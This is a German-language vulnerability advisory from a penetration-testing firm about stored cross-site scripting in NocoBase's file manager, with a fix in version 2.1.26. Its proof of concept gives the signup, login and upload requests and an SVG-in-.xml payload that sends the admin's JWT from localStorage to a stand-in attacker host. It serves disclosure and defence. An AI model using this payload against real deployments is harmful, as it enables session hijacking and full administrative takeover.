NocoBase: Stored Cross-Site-Scripting durch SVG-Inhalt als .xml-Upload im Datei-Manager
Jeder eingeloggte Nutzer lädt bei standardmäßig offener Registrierung ein SVG-Dokument mit der Endung .xml hoch; nginx- und Koa-Allowlists übersehen .xml, die Datei wird inline als text/xml ausgeliefert und vom Browser als SVG samt <script> gerendert, das das JWT aus localStorage an eine Angreifer-URL exfiltriert.
Advisory-ID: TP-2026-053
Produkt: NocoBase (Open-Source-No-Code-/Low-Code-Plattform zum Bauen von Business-Anwendungen, self-hosted)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-79915
CVSS 3.1: 7.6 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
Hersteller-Advisory: GHSA-722v-mxqw-prh7
Betroffene Versionen: @nocobase/plugin-file-manager <= 2.1.25
Behoben in: NocoBase 2.1.26
Gemeldet: 26. Mai 2026
Zusammenfassung
NocoBase ist eine self-hosted No-Code-/Low-Code-Plattform zum Bauen von Business-Anwendungen, deren Datei-Upload POST /api/attachments:create standardmäßig jedem eingeloggten Nutzer offensteht. Ein Upload mit der Endung .xml und einem SVG-Dokument als Inhalt umgeht die Schutzmechanismen, weil die Magic-Byte-Erkennung für SVG-Text nichts liefert, der Fallback über mime.lookup application/xml ergibt und die Datei mit der vom Nutzer gewählten Endung gespeichert wird. Sowohl die nginx-Vorlage als auch der Koa-Wächter erzwingen den Inline-Download-Schutz nur für eine Allowlist aus fünf Endungen (htm/html/svg/svgz/xhtml), sodass .xml inline als text/xml ausgeliefert wird und Chrome und Firefox das Dokument als SVG rendern und dessen <script> ausführen. Da die Anwendung keine Content-Security-Policy sendet und das JWT in localStorage.NOCOBASE_TOKEN liegt, exfiltriert das Skript den Token an eine Angreifer-URL. Der Standard-Authentifikator auth-basic liefert allowSignUp: true aus, sodass sich ein anonymer Besucher selbst registriert, die Datei hochlädt und die URL teilt; öffnet ein Super-Admin die URL, übernimmt der Angreifer dessen Sitzung.
Ursache
Sowohl die nginx-Vorlage als auch der Koa-Wächter wenden den Inline-Download-Schutz nur auf eine Allowlist aus fünf Endungen (htm/html/svg/svgz/xhtml) an, sodass eine .xml-Datei ungeschützt inline als text/xml ausgeliefert wird (packages/core/cli/nocobase.conf.tpl:26, packages/core/server/src/gateway/static-file-security.ts:12). Beim Upload mit standardmäßig ungesetzter rules.mimetype liefert die Magic-Byte-Erkennung für SVG-Text undefined, die Aktion fällt auf mime.lookup(originalname) zurück (application/xml für .xml), und die Muster-Prüfung greift bei der *-Storage-Regel nicht (packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts:87-107). Der gespeicherte Dateiname behält die vom Nutzer gewählte .xml-Endung, weil diskFilenameGetter nur einen zufälligen Hex-Suffix anhängt (packages/plugins/@nocobase/plugin-file-manager/src/server/utils.ts:69-86). Die Anwendung sendet keine Content-Security-Policy und legt das JWT in localStorage.NOCOBASE_TOKEN ab, und die Upload-Aktion ist über acl.allow('attachments', ['upload', 'create'], 'loggedIn') jeder authentifizierten Rolle erlaubt (packages/plugins/@nocobase/plugin-file-manager/src/server/server.ts:267). Der Standard-Authentifikator auth-basic liefert allowSignUp: true aus, sodass ein anonymer Besucher sich mit einem einzigen POST /api/auth:signUp registriert und die Upload-Aktion erreicht (packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:289-298).
Proof of Concept
# 1) Anonyme Registrierung, dann Login fuer ein Member-JWT:
POST /api/auth:signUp?authenticator=basic
{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic
{"account":"a","password":"P!ssw0rd1"} -> data.token = TOKEN
# 2) SVG-Payload als .xml hochladen:
cat > poc.xml <<'EOF'
<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('//attacker/steal?t='+encodeURIComponent(localStorage.NOCOBASE_TOKEN))</script></svg>
EOF
curl -X POST -H "Authorization: Bearer $TOKEN" -F "[email protected]" \
http://target:13000/api/attachments:create
# 3) Rueckgabe-URL an einen eingeloggten Nutzer teilen.
# Antwort: Content-Type: text/xml, kein Content-Disposition.
Der Browser navigiert zur .xml-URL, rendert das Dokument mangels Content-Disposition als SVG und führt dessen <script> im Anwendungs-Origin aus. In der Live-Verifikation gegen nocobase/nocobase:2.0.57 empfing ein Listener das JWT des Super-Admins, das gegen /api/auth:check das Super-Admin-Profil samt PBKDF2-Passwort-Hash zurückgab.
Auswirkung
- Stored Cross-Site-Scripting am Anwendungs-Origin: angreifergesteuertes
<script>läuft im Origin des Dashboards. - JWT-Diebstahl über
localStorage.NOCOBASE_TOKEN, mit dem der Angreifer die Sitzung des Opfers übernimmt. - Trifft es den Super-Admin, folgen voller Datenbank-Lese-, Schreib- und Löschzugriff, Plugin-Installation über
pm.addsowie Nutzer- und Rollenverwaltung. - Anonyme Reichweite in Standard-Deployments, weil
auth-basicallowSignUp: trueausliefert.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
